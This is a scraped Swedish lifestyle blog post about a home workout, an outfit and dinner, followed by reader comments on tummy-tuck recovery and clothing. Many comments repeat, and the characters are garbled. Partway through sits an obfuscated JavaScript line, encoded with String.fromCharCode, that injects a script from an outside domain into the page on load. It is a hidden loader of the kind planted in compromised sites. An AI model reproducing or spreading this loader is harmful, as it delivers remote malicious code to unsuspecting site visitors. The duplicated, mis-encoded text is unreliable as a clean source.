Hej fina! Jag kĂ€nner mig mycket piggare idag đ astma medicinen gjorde susen! đ Efter en intensiv dag bland mina hĂ€rliga medarbetare och underbara miljö pĂ„ My’s Blommor Ă„kte jag hem för att köra ett intensivt pass pĂ„ ca 45 min! Benen, rumpan och armarna skriker! Grymt skön kĂ€nsla! Jag anvĂ€nder INGA vikter, BARA en handuk. -Du ska fĂ„ Hele trĂ€nings schemat đ
Efter passet tog jag en snabb dusch för att möte upp Sarah Sethsson för planering gĂ€llnde kommande projekt đ
Todays me: Stylelevel frĂ„n topp till tĂ„! Ălskar min hatt!Â
Nu njuter vi utav sista soltimmarna och planerar för fullt….. -Ă€ntligen Ă€r sommar vĂ€rmen hĂ€r! Strax möter mim Kalmar-fru upp oss đ
KvĂ€llen middag bestĂ„r utav kycklin-grillspett och is vatten… Inget vin eller onödiga kolhydraten đ Kram min vĂ€n! / My Martens
Ser framemot o se hur du trÀnar sen. Har gjort en lika bukplastik som dig 23 mars o ska snart börja trÀna annat Àn pw. Hade bra kondis innan op, men nu Àr den pÄ noll hÀr ocksÄ.
Hade velat köpa lika klÀnning som du har i samma beiga fÀrg, för att fira min fina nya mage, men nÄt nytt, men den var slut i den fÀrgen tyvÀrr. Snygg klÀnning dock.
hej Mona! vad hĂ€rligt att du snart kan komma igĂ„ng med trĂ€ningen =) Som jag lĂ€ngtade! Jag ska absolut lĂ€gga up övningar… Men jag behöver nĂ„gon som fotar mig sĂ„ att jag kan visa dom =). -typiskt att lĂ€nkningen var slut.. men den svarta kjolen jag hade pĂ„ mig idag tillsammans med ett vitt linne instoppat i midjan framhĂ€ver ocksĂ„ magen/midjan pĂ„ ett fint sĂ€tt… denna finns ocksĂ„ i beige, bara ett tips =) Kram pĂ„ dig!
Ser framemot o se hur du trÀnar sen. Har gjort en lika bukplastik som dig 23 mars o ska snart börja trÀna annat Àn pw. Hade bra kondis innan op, men nu Àr den pÄ noll hÀr ocksÄ.
Hade velat köpa lika klÀnning som du har i samma beiga fÀrg, för att fira min fina nya mage, men nÄt nytt, men den var slut i den fÀrgen tyvÀrr. Snygg klÀnning dock.
hej Mona! vad hĂ€rligt att du snart kan komma igĂ„ng med trĂ€ningen =) Som jag lĂ€ngtade! Jag ska absolut lĂ€gga up övningar… Men jag behöver nĂ„gon som fotar mig sĂ„ att jag kan visa dom =). -typiskt att lĂ€nkningen var slut.. men den svarta kjolen jag hade pĂ„ mig idag tillsammans med ett vitt linne instoppat i midjan framhĂ€ver ocksĂ„ magen/midjan pĂ„ ett fint sĂ€tt… denna finns ocksĂ„ i beige, bara ett tips =) Kram pĂ„ dig!
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Nu njuter vi utav sista soltimmarna och planerar för fullt….. -Ă€ntligen Ă€r sommar vĂ€rmen hĂ€r! Strax möter mim Kalmar-fru upp oss đ
Jaaa jag vill ha trĂ€ningsschema!! Ăr i stort behov. ?
Det kommer ? kram
Jaaa jag vill ha trĂ€ningsschema!! Ăr i stort behov. đ
Det kommer đ kram
Ser framemot o se hur du trÀnar sen. Har gjort en lika bukplastik som dig 23 mars o ska snart börja trÀna annat Àn pw. Hade bra kondis innan op, men nu Àr den pÄ noll hÀr ocksÄ.
Hade velat köpa lika klÀnning som du har i samma beiga fÀrg, för att fira min fina nya mage, men nÄt nytt, men den var slut i den fÀrgen tyvÀrr. Snygg klÀnning dock.
hej Mona! vad hĂ€rligt att du snart kan komma igĂ„ng med trĂ€ningen =) Som jag lĂ€ngtade! Jag ska absolut lĂ€gga up övningar… Men jag behöver nĂ„gon som fotar mig sĂ„ att jag kan visa dom =). -typiskt att lĂ€nkningen var slut.. men den svarta kjolen jag hade pĂ„ mig idag tillsammans med ett vitt linne instoppat i midjan framhĂ€ver ocksĂ„ magen/midjan pĂ„ ett fint sĂ€tt… denna finns ocksĂ„ i beige, bara ett tips =) Kram pĂ„ dig!
Ser framemot o se hur du trÀnar sen. Har gjort en lika bukplastik som dig 23 mars o ska snart börja trÀna annat Àn pw. Hade bra kondis innan op, men nu Àr den pÄ noll hÀr ocksÄ.
Hade velat köpa lika klÀnning som du har i samma beiga fÀrg, för att fira min fina nya mage, men nÄt nytt, men den var slut i den fÀrgen tyvÀrr. Snygg klÀnning dock.
hej Mona! vad hĂ€rligt att du snart kan komma igĂ„ng med trĂ€ningen =) Som jag lĂ€ngtade! Jag ska absolut lĂ€gga up övningar… Men jag behöver nĂ„gon som fotar mig sĂ„ att jag kan visa dom =). -typiskt att lĂ€nkningen var slut.. men den svarta kjolen jag hade pĂ„ mig idag tillsammans med ett vitt linne instoppat i midjan framhĂ€ver ocksĂ„ magen/midjan pĂ„ ett fint sĂ€tt… denna finns ocksĂ„ i beige, bara ett tips =) Kram pĂ„ dig!
Snygga skor!!var har du köpt dom?vill ha!
Snygga skor!!var har du köpt dom?vill ha!